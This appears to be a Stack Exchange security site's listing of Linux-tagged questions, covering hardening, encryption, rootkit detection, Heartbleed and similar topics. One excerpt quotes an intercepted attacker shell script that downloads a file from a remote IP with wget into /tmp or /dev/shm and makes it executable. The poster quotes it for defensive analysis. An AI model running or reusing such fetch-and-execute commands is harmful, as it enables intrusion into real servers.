Securing Linux systems and applications; understanding Linux security features.

learn more… | top users | synonyms

2
votes
1answer
120 views

Analyzing a suspicious email

Today I received a very suspicious email on my gmail account. When I analyzed the content of the message, this is what essentially made up the message. <center> <a alt="" ...
0
votes
2answers
279 views

Ubuntu LVM LUKS Encryption

I've been reading about Ubuntu LVM Encryption, and I understand that it supports the use of Linux Unified Key Setup (LUKS) during installation, which is a block level encryption that encrypts the ...
4
votes
1answer
340 views

Does Linux kernel use DEP for kernel memory?

Does the Linux kernel use DEP internally for its kernel memory? In other words, does the Linux kernel take care to ensure that, when the kernel is executing (in kernel mode), every executable ...
1
vote
1answer
87 views

How to validate the confirmation link received when publishing a new PGP key?

I find PGP to be quite a complex subject. I have gotten to a point where I need to give a client a public key for encryption. I have successfully done my homework, generating a public key from my ...
2
votes
1answer
155 views

Security Features enabled in Linux Debian and Ubuntu

i am actually doing some tutorials about ROP on Linux. So i tried to follow the tutorial and compiled some of the example codes to try ROP in a small scope. But actually when i am trying to exploit ...
10
votes
2answers
1k views

Securing Docker and LXC

The concept put forward by Docker and LXC seems to be, from a security perspective, a move in the right direction. Afraid of a MySQL zero-day? Run it in a Docker container and it won't be able to ...
1
vote
3answers
113 views

Is it safe to share my hostname

I am using GNU/Linux. Sometimes, I copy/paste code from the terminal (like user@hostname ..) to put it in a forum thread or a blog ..etc And I was always wondering that it is better to hide it . Is ...
5
votes
1answer
340 views

How to detect malicious code sending information to attacker's server in linux

Suppose you have some malicious code on your linux laptop, for example a rootkit or trojan or something like that. Now restrict your attention to the case that the malicious code does transfer some ...
9
votes
2answers
518 views

Running proprietary software on Linux safely

As a summer project, I'm looking to prevent any piece of proprietary software like many games I run from have access to my personal files. After looking a lot at sandboxing, I've decided that anything ...
-1
votes
2answers
364 views

Secure Way of Encrypting Your Bash Shell Script [duplicate]

How can I encrypt my bash shell script on Linux server The shell script contain credentials of other servers for remote access. The problem is I do not want others with same level of access to view ...
-4
votes
1answer
182 views

Most secure SSH server [closed]

Which SSH server (compatible with Debian Wheezy) has the fewest (if any) exploitable security bugs?
3
votes
4answers
222 views

One computer with multiple OSs in different drives

I use my personal computer for both programming work and gaming at my free time(and sometimes penetration testing) all these in different operating systems each. The problem is that I dont really ...
1
vote
1answer
321 views

Linux kernel 3+ system call table modification detection [closed]

Is there any available tool which can check kernel 3+ system call table for modifications? Also I want to know, is there any automated general tool to check Linux for unknown rootkits? Not like ...
-2
votes
1answer
817 views

Linux tools to choose suitable Cisco ASA 5500

I have a linux webhosting server which affects a high DDOS. I want to use Cisco ASA 5500 Series Adaptive Security Appliances to protect the linux server from this DDOS. I know there are many factors ...
1
vote
1answer
497 views

Booting into Live USB Linux

If I have a Live USB Linux stick and I plug it into a computer which is not connected to the internet and boot the computer using the Live USB stick. How secure is this interms of not leaving any ...
1
vote
1answer
1k views

What to do with .hash files when cracking WPA2

So, I'd say I'm one level above n00b. I've gotten to the point where I have accomplished a WPA Handshake (and saved the output as xxx-01.cap). I have also downloaded these hash tables (if that is the ...
13
votes
2answers
775 views

Getting exploit reliability when using the off by one framepointer overwrite on linux

We have a program that is vulnerable to a one byte frame pointer overwrite. The stack is marked executable, the Linux machine has aslr disabled, stack cookies are disabled, and it's a little endian ...
1
vote
4answers
609 views

I only use windows for games. Do I need anti virus protection?

I use Linux, and even though I'm not pretending my system is virus-free, it's generally accepted that even an aggressive firewall is not a requirement. I want to install Windows 7 on a machine which ...
2
votes
5answers
2k views

Detecting unknown keyloggers

On a Linux system, is it at all possible to detect unknown keyloggers? Keyloggers which are new and haven't made it to any detection software's database?
0
votes
1answer
50 views

problem upgrading openssl on ubuntu servers [closed]

I'm running Ubuntu x86_64, and want to upgrade to OpenSSL 1.0.1.f. wget <openssl latest> tar -xzvf openssl.tar.gz cd <openssl dir> ./configure --prefix=/usr make In the console output, ...
7
votes
2answers
466 views

What features do you look for in an Enterprise Log Management solution?

This question is for IT Pros, and people who manage a company's infrastructure. Developers should see this related answer for tools geared for them. What are your requirements for such a Event Log ...
3
votes
1answer
79 views

Does TRESOR protect against attacks like HeartBleed

I was wondering if the linux TRESOR module (http://en.wikipedia.org/wiki/TRESOR) would protect a webserver against HeartBleed or other similar attacks.
7
votes
1answer
3k views

Has Linux Mint updated the OpenSSL library for LMDE (Heartbleed bug)? [closed]

Background I am using Linux Mint for one of my servers and have been trying to find out if the Linux Mint Debian Edition(LMDE) has updated their repositories with patches for the OpenSSL bug. I ...
2
votes
1answer
53 views

Method/program for editing secure files

I'm not entirely sure if this is on-topic for Security.SE, but it doesn't seem entirely off-topic either, so I'll try. :) I keep a couple of (GPG-)encrypted files with more-or-less sensitive ...
0
votes
0answers
65 views

Deleting undeletable files on a hacked Linux machine [duplicate]

I've got two Linux machines hacked recently and the hacker/bot has put a lot of stuff in the /root directory. Luckily he did not disable user access, so I was able to login and kill the programs he ...
12
votes
2answers
2k views

RdRand from /dev/random

"Linus Torvalds, in response to a petition on Change.org to remove RdRand from /dev/random, has lambasted the petitioner by called him ignorant for not understanding the code in Linux Kernel. ...
40
votes
8answers
9k views

Why am I allowed to access protected Windows files when I boot Ubuntu from USB?

How come I'm allowed to reboot a computer that I don't own, put in a USB, boot ubuntu from it and then access all files stored on the drives available (even critical files such as system files on C ...
4
votes
2answers
617 views

Erasing encryption (LUKS) keys before suspend-to-RAM?

I recently had been wondering if there is a way to erase my LUKS keys from RAM before I suspend my device (usually a laptop) to S3 mode. I am interested in a solution that would work for my / ...
0
votes
1answer
268 views

RAM memory data remanence and double boot, risky?

I wonder if my setup can be risky. To give a good starting point for answers I would briefly sketch the situation setup: double boot system GNU/Linux and Microsoft Windows GNU/Linux is on 2 ...
32
votes
6answers
5k views

Secure Linux Desktop

I'm looking for hints about secure linux desktops. Securing servers is no problem. Most recent Software Updates, run only the services required etc. But what about desktops? I'm thinking about details ...
1
vote
2answers
96 views

Hardware-restricted root login

I was thinking about how security on my Linux server can be increased and came up with this question: If most intrusions are performed by gaining remote access to machines, would it be possible and ...
1
vote
2answers
224 views

Storing database password in application

Let's say my application connects to my database. This requires me to have the username and database in my config as follows: postgresql://scott:tiger@localhost/mydatabase I have an automated ...
1
vote
2answers
104 views

Verifying integrity of text files

While I was away from my home I needed to do some work on a java program so I booted a friends netbook(windows 8) I had with me and finished most of the works I needed to do there. Tho when I returned ...
0
votes
2answers
268 views

How do I prove for my client that unused ports are closed and unused services are disabled?

I have seen advice that I need to close all unused ports, and disable any unused services in order to secure my servers. How can I prove, beyond any doubt, to my client that I have done this? I need ...
2
votes
3answers
3k views

How to detect the “Hello packets” sent by a wifi enabled smartphone

Actually I have a case where I should able to detect the mobile phones and get some data about the device available in my network range without connecting to the network. I have seen somewhere that a ...
-1
votes
1answer
745 views

how to stop people hacking a website build in cakephp with linux host [closed]

I have been wondering how to stop intrusion/hack in a website build in cakephp. The neccessities that I have done so far are updated framework strong password frequent password change removed ...
1
vote
1answer
175 views

How can I verify my machine is not vulnerable from a specific exploit?

I'm running Ubuntu 8.04 TLS linux 2.6.24-23, I find that CVE-2009-2692 which exploits by using sock_sendpage() null pointer dereference. It describes this exploit affects linux version prior to 2.6.31 ...
1
vote
1answer
644 views

Why does the linux XRDP module use a 512 bit RSA key? [closed]

Why does the linux XRDP module use a 512 bit RSA key? 512 bit RSA keys are broken by now. How can this be safe?
3
votes
1answer
1k views

How the shopkeepers are getting MAC address of wifi enabled smartphones

It is clear that some big mall's are tracking all the wifi enabled mobile phones before they are connected to the network..how can it been done? I have the similar issue.. how to get the MAC address ...
-1
votes
1answer
281 views

Linux security books [closed]

I am trying to find an updated book (preferably from 2012-2013) that can cover linux security aspects comprehensively. I searched on Amazon and found that most Linux security books are from back in ...
26
votes
4answers
21k views

What can an attacker do with Bluetooth and how should it be mitigated?

What are the security risks of Bluetooth and what technologies and best practices should be used to protect my device? What can an attacker do once a malicious device is paired with mine? ...
10
votes
2answers
8k views

How to get MAC addresses of devices which are not in the network

Can I get MAC addresses of devices (mobile phones) which are near to my network but not connected to it? (Linux) I have been trying to get the MAC addresses of devices connected to my network through ...
1
vote
4answers
599 views

What needs to be focused on when hardening a LAMP stack? [closed]

I have a site running on a VPS. I set up the LAMP stack and a few other programs personally. This is only the second time I have set up a VPS and I am a bit worried about security. Are there things ...
5
votes
3answers
187 views

Best approach for restricting remote ssh session

Using the following files, I have attempted to restrict the SSH remote login. Having lack of knowledge in linux environment, I don't know the drawbacks and vulnerabilities between the following ways. ...
13
votes
4answers
726 views

How to react when under attack

Just this week someone has been trying to attack the server of the company where I work. I have noticed that they have been trying to brute force root via ssh. fail2ban is handling that well and I ...
5
votes
5answers
677 views

HOWTO : Email encryption in a browser

I have read about encryption and I think it's a good idea for me to encrypt my email. I run ubuntu 12.10 and use Firefox for browsing. In my quest for learning how to use gmail/hotmail to send and ...
0
votes
1answer
328 views

MitM Attacks - Iptables?

I have looked for the answer to this question to no avail, apologies if I missed it. I would like to know how effective iptables would be against MitM attacks - in the following setup: ALLOW INPUT ...
11
votes
3answers
2k views

What does this sh script does if executed in a production environment

I could intercept what a possible attacker is trying to do on my website and he/she tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod +x ...x ...
2
votes
2answers
471 views

Can a Ubuntu live usb be infected with spyware/ virus?

I have a Ubuntu 13.10 live usb. I gave it to somebody so that he can install ubuntu. Now I have received it back. I was wondering if it is possible to infect a live usb with spyware or virus ? If yes, ...
3
votes
1answer
245 views

Does reinstalling ubuntu eliminates all existing rootkits/ malware/spyware/ virus etc?

If I do a fresh installation of ubuntu from an uninfected cd, will it remove all the existing rootkits/malwares/spywares/viruses etc if any ? Is formatting the hard disk required before reinstalling ...